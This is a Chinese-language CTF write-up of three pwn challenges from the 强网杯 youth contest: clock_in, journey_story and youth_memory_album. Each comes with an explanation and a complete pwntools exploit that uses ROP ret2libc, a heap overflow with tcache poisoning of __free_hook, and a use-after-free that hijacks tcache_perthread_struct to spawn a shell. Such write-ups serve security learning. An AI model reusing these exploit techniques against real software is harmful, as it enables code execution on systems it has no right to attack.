点此返回首页

leeya_bug@home:~$

一个Coder,Attacker,Creator

强网杯青少年Pwn 初赛 & 决赛 - 个人题解

目录跳转:
初赛 PWN: clock_in - 附Exp
初赛 PWN: journey_story - 附Exp
决赛 PWN: youth_memory_album (tcache_perthread_struct 劫持) - 附Exp
决赛 PWN: smart_home - 未更新
文件下载:
clock_in.zip
journey_story.zip
smart_home.zip
youth_memory_album.zip

本文章作者为 leeya_bug,不遵循 CC 协议,禁止转载

pwn clock_in

这个题是 rop,主程序不偏移.
首先发现,该程序有后门 gadget,该 gadget 最终将 rbp 赋值到 rdi. 可以发现直接通过该 gadget 不仅能控制 rdi,还能控制 rip.

dasctf

首先溢出到一定字节,跳转到后门 gadget

通过后门 gadget 控制 rdi 为 puts_ptr,使 rip 跳到 get_info 中的 call _puts,就可以将 puts 函数地址打印出来以获取 libc 偏移地址

dasctf

dasctf

在获得 libc 基址后,使 rip 跳到 main 函数全部重新来一遍,再利用 后门 gadget 控制 rdi 为 /bin/sh 字符串地址,rip 跳到 system 即可获取 shell

EXP

#by leeya_bug

from pwn import *
import time

SLEEP_TIME = 0.2

libc = ELF('./libc.so.6')
p = process('./debug/clock_in')

p.sendlineafter(b'info:', b'a' * 64 + p64(0x403Fd8) + p64(0x00000000004011BD) + p64(0x0000000000401218))
p.recvuntil('entered:')

output = u64(p.recv()[-8:].strip(b'\n') + b'\x00\x00')
libc_base = output - 0x87bd0
libc.address = libc_base
binsh = libc_base + 0x00000000001CB42F

time.sleep(SLEEP_TIME)
p.sendline(p64(0x0000000000401253) * 13)

time.sleep(SLEEP_TIME)
p.sendline(b'a' * 64 + p64(binsh) + p64(0x00000000004011BD) + p64(libc.symbols['system']))

p.interactive()

pwn journey_story

这个堆题有越界写入漏洞. 简单举个例子描述一下:
如果用户 Alloc 了一个大小为 0x88 的 chunk,用户实际上可以多写入 1 个字节. 看起来似乎没什么用,就靠这一两个字节实际上无法写入到下一个 chunk 的 header size 中.

但这个题存在逻辑问题,当用户指定 Alloc 一个大小为 0x88 的 chunk 时,其只会 Alloc 一个 0x80 chunk. 这样实际多可写入 8 个字节,加上之前的 1 个正好凑成 9 个字节,直接覆盖掉下一个 chunk 的 size header.

0x5629777ba4d0: 0x0000000000000000      0x0000000000000091
...
跳过 0x80 个字节显示
...
0x5629777ba560: 0x0000000000000000      0x0000000000000091

在这里有了理论基础,就直接可以打 tcachebin attack. 现在我展示下打的流程:

  1. 首先 free 7 个 0x80 tcache bin,好让下一个 free 进 unsorted bin. 然后再在 tcache bin 的中间 free 一个 0x80 chunk 使得 unsorted bin 夹在 tcache bin 中间,防止和 chunk top 合并. 再将 unsorted bin 低地址的两个 tcache bin 还原到 chunk,关键结构如下所示

     低地址------
    
     chunk_1 0x91
    
     chunk_2 0x91
    
     unsorted bin 0x91
     fd: main_arena
     bk: main_arena
    
     高地址------
    
  2. 而后通过上面的越界写入漏洞,将 chunk_2 的 header 写为 0xa1,然后 free chunk_2 进 tcache bin 并重新 Alloc.

    这样 chunk_2 就从 0x80 拓宽到了 0x90,刚好覆盖 unsorted bin 的 header

     chunk_1 0x91
    
     chunk_2 0xa1
    
     unsorted bin 0x91
     fd: main_arena
     bk: main_arena
    
  3. 操控 chunk_2 将 chunk_2 和 unsorted bin header 写满为 0x61,然后打印 chunk_2. 当没有 \x00 时他将会一直打印,这样就能成功打印出 unsorted bin fd,成功获得 libc 偏移地址

     chunk_1 0x91
    
     chunk_2 0xa1
    
     0x61616161 0x61616161 0x61616161 0x61616161
     fd: main_arena
     bk: main_arena
    

以上唯一需要注意的点是,如果正常填充,当前输入的字符数量 < size 数量,尾部字节即为 \n,这样就会在尾部增加一个 \x00 字节如下第二个红线所示.

dasctf

由于 \x00 截断无法输出 fd. 因此在这里可以 先填充满 0x88 字节空间,然后再多填充一个 \xe0(main_arena 的尾部字节固定为 \xe0),可以通过这种方式覆盖到 main_arena 的尾部为原字节,如下红圈所示,并且没有 \x00 截断

dasctf

输出 chunk_2 获得 libc 后,由于这是 GLIBC 2.31 版本可以打 __free_hook,因此可以直接用以上思路,修改最前的一个 tcache bin fd 地址到 __free_hook

而后按顺序 Alloc 两个 chunk,一个作为被 free 后的 rdi 填充 /bin/sh\x00,一个用来修改 __free_hook 位置的内存到 system 函数,这样就可以调用 system("/bin/sh"),获取 shell 权限

alloc(0x88, b'/bin/sh\x00')                 # 1
alloc(0x88, p64(libc.symbols['system']))    
delete(1)                                   # free 时 rdi 为 chunk_1 的地址,即为 /bin/sh 的地址

EXP

# by leeya_bug

from pwn import *
import time
import os

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/journey_story')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug():
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
	p.interactive()

# ------------- 基本配置 -------------

def add(size: int, story: bytes) -> None:
	p.sendlineafter(b'Choose an option:', b'1')
	p.sendlineafter(b'Enter the size of your story', str(hex(size)).encode())
	p.sendlineafter(b'Enter your story', story)


def delete(index: int) -> None:
	p.sendlineafter(b'Choose an option:', b'2')
	p.sendlineafter(b'(0-31):', str(index).encode())
	
def update(index: int,  story: bytes) -> None:
	p.sendlineafter(b'Choose an option:', b'3')
	p.sendlineafter(b'(0-31):', str(index).encode())
	p.sendlineafter(b'Enter your updated story', story)
	
def view() -> bytes:
	p.sendlineafter(b'Choose an option:', b'4')
	return p.recvuntil(b'1. Add story').strip(b'1. Add story')

# --- alloc ----

for i in range(0, 12):
	add(0x88, b'nothing here')

for i in range(7, 12):
	delete(i) 

delete(5)
delete(4)
delete(6)

add(0x88, b'nothing here')	# 5 size 0x90
add(0x88, b'nothing here')	# 4 size 0x90

update(4, b'a' * 0x80 + b'\x00' * 8 + b'\xa1')
delete(5)			# delete 5, and renew 5 from 0x90 to 0xa0
add(0x90, b'nothing here')	# 5 size 0xa0
update(5, b'Addr1:'.rjust(0x90, b'a') + b'\xe0')

data = view()
data1 = data.split(b'Addr1:')[1].split(b'\n')[0]

leak_addr = u64(data1.ljust(8, b'\x00'))
libc_base = leak_addr - 0x1ecbe0
libc.address = libc_base

print(hex(libc.symbols['__malloc_hook']))
print(hex(libc_base))

add(0x88, b'nothing here')	# 6
add(0x88, b'nothing here')	# 7
add(0x88, b'nothing here')	# 8

# 8 low
# 7
# 6 high

update(8, b'a' * 0x80 + b'\x00' * 8 + b'\xa1')
delete(6)	
delete(7)	# delete 7, and renew 7 from 0x90 to 0xa0
add(0x98, b'a' * 0x90 + p64(libc.symbols['__free_hook'])[:-1])


add(0x88, b'/bin/sh\x00')		# 7
add(0x88, p64(libc.symbols['system']))
delete(7)

p.interactive()

pwn youth_memory_album

这个题是决赛题,难度和初赛的堆题不分上下,出的人数还是不少

这个题的漏洞点在于 free 后能继续写入、查看,这就意味着能够随意修改 tcachebin 的 fd,搭配 tcachebin attack 就能造成任意地址写入.
对于这个题,常规 tcachebin attack 如下所示

alloc(1, ...)
alloc(2, ...)
free(3)
free(4)
edit(4, {要写入的内存地址})
alloc(5)    # 4
alloc(6)    # 写入的内存地址

笔者需要 free unsortedbin、获取 libc 地址、修改 _hook 函数,但是题目下标限制了只能 alloc 12 个 chunk. 如果每次操作都需要花费 3 ~ 4 个 chunk,那么必然是超过 12 的.
因此必须换一种思路做. 首先可以通过漏洞查看 0x40 tcachebin 的 fd,推测到当前堆地址

再通过当前堆地址,反推 0x40 bin head 和 0x40 bin size 的地址

dasctf

dasctf

然后只需要 tcachebin attack 控制住这两个地址,那么后续再修改其他地址时,就不需要构造冗长的 tcachebin attack,直接修改 bin size 和 bin head 指向被修改的地址,然后 alloc 一个 chunk,该 chunk 就会指向被修改的地址

# size40_head_addr 为 bin head
# size40_addr 为 bin size 标志地址
# 在这里首先通过 tcachebin attack 指向 bin head
edit(2, p64(size40_head_addr) + p64(size40_addr))
add(3, b'nothing here')
add(4, b'nothing here')	# size40_head_addr
delete(3)

def edit_head(addr: int):
	edit(4, p64(addr))

# 指向 bin size
edit_head(size40_addr)
add(5, p32(0) + p32(4))

def edit_size(size: int):
	edit(5, p32(0) + p32(size))
# 一个修改内存的示例,于 tcachebin attack 相比,大大节约 alloc 数量
edit_size(4)
edit_head(libc.symbols['__free_hook'])
add(8, p64(libc.symbols['system']))

这里只差泄露 libc 地址了,在这里笔者借用了一开始程序为了记录用户姓名而 alloc 的大小为 0x300 的 chunk 构造 unsorted bin. 该 chunk 的地址同样可以推断出来

至于怎么填满 0x300 的 tcachebin 呢?在此笔者首先推断出了 0x300 tcachebin 的 bin size,而后直接写入标志位为 7,即可一键填满空间

# size300_addr 即为 0x300 的 bin size 标志地址
edit_size(4)
edit_head(size300_addr - 0x8)
add(6, p64(0) + p64(0x0007000000000000))

dasctf

在此,再 free 一下一开始的 0x300 chunk,即可成功将其放入 unsorted bin 泄露 libc 基址. 后面只需要 向 __free_hook 写入 system 地址,并 free 一个内容为 /bin/sh 的 chunk,即可成功 getshell

EXP

# by leeya_bug

from pwn import *
import time
import os

SLEEP_TIME = 0.2

context.os = 'linux'
#context.log_level = "debug"
x64_32 = True
context.arch = 'amd64' if x64_32 else 'i386'

p = process('./debug/youth_memory_album')
libc = ELF('/home/leeya_bug/桌面/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')

def debug():
	subprocess.Popen(["qterminal", "-e", f'''bash -c 'pwndbg -ex "set telescope-skip-repeating-val off" -p {p.pid}' '''])
	p.interactive()

u64_ = lambda a: u64(a.ljust(8,b'\x00'))

# ------------- 基本配置 -------------

def input_name(name: bytes) -> None:
	p.sendlineafter(b'Please input your name:', name)

def add(index: int, memory: bytes) -> None:
	p.sendlineafter(b'Your choice:', b'1')
	p.sendlineafter(b'Album entry number:', str(index).encode())
	p.sendlineafter(b'Write your memory:', memory)

def edit(index: int, memory: bytes) -> None:
	p.sendlineafter(b'Your choice:', b'2')
	p.sendlineafter(b'Album entry number to edit:', str(index).encode())
	p.sendlineafter(b'Edit your memory:', memory)
	
def view(index: int) -> bytes:
	p.sendlineafter(b'Your choice:', b'3')
	p.sendlineafter(b'Album entry number to view:', str(index).encode())
	p.recvuntil(b'Memory content:')
	return p.recvuntil(b'========== Youth Memory Album ==========').strip(b'========== Youth Memory Album ==========')

def delete(index: int) -> None:
	p.sendlineafter(b'Your choice:', b'4')
	p.sendlineafter(b'Album entry number to delete:', str(index).encode())

input_name(b'leeya_bug')

# 获取 tcachebin 堆地址和 bin size 地址
add(1, b'nothing')
add(2, b'nothing')
delete(1)
delete(2)

chunk_1_addr = u64_(view(2).ljust(8,b'\x00')) - 0x10
chunk_2_addr = chunk_1_addr + 0x40
chunk_fake_addr = chunk_2_addr + 0x10
chunk_name_addr = chunk_1_addr - 0x310

print(f'chunk_name_addr:      {hex(chunk_name_addr)} ')
print(f'chunk_1_addr:         {hex(chunk_1_addr)} ')
print(f'chunk_2_addr:         {hex(chunk_2_addr)} ')
print(f'chunk_fake_addr:      {hex(chunk_fake_addr)} ')

edit(2, b'a' * 8)

bin_base = u64_(b'\x10' + view(2).strip(b'a' * 8)[1:]) - 0x10
size40_addr = bin_base + 0x10
size40_head_addr = bin_base + 0xa0
size300_addr = bin_base + 0x68
print(f'size40_addr:          {hex(size40_addr)} ')
print(f'size40_head_addr:     {hex(size40_head_addr)} ')
print(f'size300_addr:         {hex(size300_addr)} ')

# alloc 一个 chunk 到 0x40 bin head,控制 bin head
edit(2, p64(size40_head_addr) + p64(size40_addr))
add(3, b'nothing here')
add(4, b'nothing here')	# size40_head_addr
delete(3)

def edit_head(addr: int):
	edit(4, p64(addr))

# alloc 一个 chunk 到 0x40 bin size,控制 bin size
edit_head(size40_addr)
add(5, p32(0) + p32(4))

def edit_size(size: int):
	edit(5, p32(0) + p32(size))

edit_size(4)
edit_head(size300_addr - 0x8)
# 修改 unsortedbin size 为 7
add(6, p64(0) + p64(0x0007000000000000))

edit_size(4)
# alloc 一个 chunk,在程序最开始运行时为了输入名称而 alloc 的 0x300 chunk,并 free 它使其进入 unsortedbin
edit_head(chunk_name_addr + 0x10)
add(7, b'nothing here')
delete(7)

libc_offset = u64_(view(7))
libc_base = libc_offset - 0x1ecbe0
libc.address = libc_base
print(f'libc_base:            {hex(libc_base)} ')
print(f'__free_hook:          {hex(libc.symbols['__free_hook'])}')

edit_size(4)

edit_head(libc.symbols['__free_hook'])
add(8, p64(libc.symbols['system']))

edit_size(4)
edit_head(chunk_2_addr + 0x20)
# alloc 一个 chunk 内容为 "/bin/sh",在 free 时其 rsi 即为 &"/bin/sh"
add(9, b'/bin/sh\x00')
delete(9)

p.interactive()

pwn smart_home

明天更新

(完)